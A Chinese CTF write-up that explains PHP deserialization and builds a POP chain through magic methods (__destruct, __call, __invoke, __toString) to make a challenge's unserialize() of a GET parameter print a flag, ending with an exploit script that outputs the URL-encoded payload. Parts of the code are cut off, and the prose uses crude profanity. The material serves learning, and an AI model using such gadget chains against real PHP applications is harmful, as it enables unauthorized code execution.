王哥带我学反序列化漏洞[2]
  • 2020-06-18


序列化与反序列化

序列化是为了方便于数据的传输,形象化理解就像物流的过程。你想把一张桌子通过从a–>b,一张桌子肯定不好运输,因此需要把它拆开(这个拆的过程就是序列化);等到达了b需要把他组装起来(装的过程就是反序列化)。

PHP中的魔术方法

__sleep() //使用serialize时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发


题目

mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$a = $_GET['string'];
unserialize($a);
?>

分析这道题目,我们需要执行GetFlag类里的 get_flag()函数 使得它输出flag的内容

但是要怎么执行get flag方法呢?


0X01

string1中的__tostring存在$this->str1->get_flag()   也就是他执行了get_flag()方法,这时就一脸懵逼了,我他妈string1哪来的get_flag()方法?

机智的我们就想到了  在类GETFLAG中假定与题目无关  我们执行他的get_flag()方法如下

$a=new GetFlag();

$a->get_flag();

所以我们只要把类string1中 $this->$str1 变成new GetFlag()即可  也就是给类string1的$str1赋值为 new GetFlag()

0X02

这时我们就知道了  只要让string1这个对象  属性str1 =  new GetFlag()    然后执行tostring方法就可以拉!

要自动使用__tostring魔法函数 需要把string1当做字符串来使用

什么叫当做字符串使用呢    比如王哥今天说他不是人了!那我们就把他拿来扫地!

只有扫地的时候他就是一个扫帚不是一个人!所以我们要去找找看哪里有类似“扫”这个动作的地方!

我们可以发现类func中存在__invoke方法执行了字符串拼接!因为他告诉我们了!

$this->mod2 = "字符串拼接".$this->mod1;

所以当  执行$this->mod2这个操作时,假如$this->mod1的值相当于是对象string1怎么办呢


首先

1.给类func 的$mod1属性赋值  赋值什么呢 赋值成new string1()

2.通过手段调用了invoke方法(等下再收拾他!)

3.相当于执行了"字符串拼接".对象string1

4.这时对象string1心里不爽 草泥马敢把我当成字符串  日你哥 那我就要执行我的tostring方法了

5.tostring方法里继续执行 结果发现他的str1这个属性值是对象 getflag() 好好好 你他娘的给我直接用你的方法get_flag()

6.最终输出了flag的值

此时的流程为  __invoke-->(拼接字符串操作)-->被迫执行__tostring-->用对象getflag执行get_flag()-->输出flag

发现了莫  这就是个链条啊 环环相扣!


0X03

对POP链有了大致的印象  那就照猫画虎!

怎么执行__invoke?当脚本尝试将对象调用为函数时触发

什么 叫做调用为函数触发?待我问问王哥。

5eeb7252eef76.png



当调用了对象后  然后对象名();就算是函数触发

比如  $北哥 = new  帅气的人();

此时北哥就是一个帅气的人对象 

然后我直接  $北哥(); 就算是函数触发!

okok  找一下谁呢?啊找到了 原来是funt类

他的__call  方法里直接把s1当做函数运行  那么也就是   s1 =new func();  此时s1相当于是一个对象func,当s1()这样一下子就会触发  它里面的魔法函数invoke  所以$this->mode1 == new func()  也就是$mode1 = new func()


0X04

再往上再往上!!  怎么弄这个call方法呢!继续照猫画虎!!

__call()   //在对象上下文中调用不可访问的方法时触发

也就是说  当我们执行   

$a=new funct();

$a->fuck();

这串代码执行的时候  会去a对象里找函数fuck()

但是没有找到fuck() a就说我草你他妈拿来的fuck() 没有对吧 敢调用不存在的  那我只能_call一下了 这样就成功调用了_call魔法函数

往上有一个call 这个类  

 $this->mod1->test2()

这里通过方法test1()执行了这个操作   当$this->mod1 = 对象funct  会去执行test2()函数

函数无法调用  ok  那我就_call 所以此时 $mod1属性值的内容为 对象 funct  也就是 new funct()

同理   test1()怎么来?  stat_gg给你安排了     因为只要这个类一出现销毁  就会自动运行函数__destruct 也就是他娘的自己出来就要跑

他一跑 就要执行$this->mod1->test1()操作  好啊  给你个有test1() 函数方法的  类call 总行了吧!

最终的链条如下 


1.类stat_gg(此时他的mod1属性值被我赋值为new call() 也就是对象call) 自动运行__destruct魔法函数

2.此时执行  对象call()->test1()  而此时对象call()的$mod1属性被我赋值为对象funct

3.test1()函数会调用方法   对象funct->test2()

4.纳尼?funct里哪来的test2() ?  那我要运行__call魔法函数了哦!并且这时funct函数里的mod1属性赋值为对象func

5.调用方法   对象func()   然后函数执行一下

6.卧槽尼玛  老子怎么被函数执行了一下?那我就要用invoke方法了!此时func对象里 mod1属性值为 对象string1

7.invoke里 直接字符串拼接对象 string1和字符串  草泥马老子敢和字符串拼接 那我就要__tostring了!此时对象string1的str1属性值为对象getflag

8.ok  __tostring方法里  调用方法  对象getflag()->get_flag()   对象getflag里恰好有方法get_flag() 那就运行!

9.最终输出flag的值

ok   以上就是完整步骤  怎么让pop链运行起来呢?

5eeb76d312dba.png

这里       任何一个对对象实例化的操作都会执行销毁    也就是都会调用destruct函数

于是编写exp:

mod1 = new Call();//把$mod1赋值为Call类对象
public function __destruct()
{
    $this->mod1->test1();
}

class Call
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new funct();//把 $mod1赋值为funct类对象
        }
        public function test1()
        {
                $this->mod1->test2();
        }
}

class funct
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new func();//把 $mod1赋值为func类对象

        }
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new string1();//把 $mod1赋值为string1类对象

        }
        public function __invoke()
        {        
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public function __construct()
        {
                $this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象          
        }
        public function __toString()
        {        
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
}
$b = new start_gg;//构造start_gg类对象$b
echo urlencode(serialize($b))."";//显示输出url编码后的序列化对象

把输出结果传值到 string参数里  成功执行了get_flag()方法   

5eeb79469cb2e.png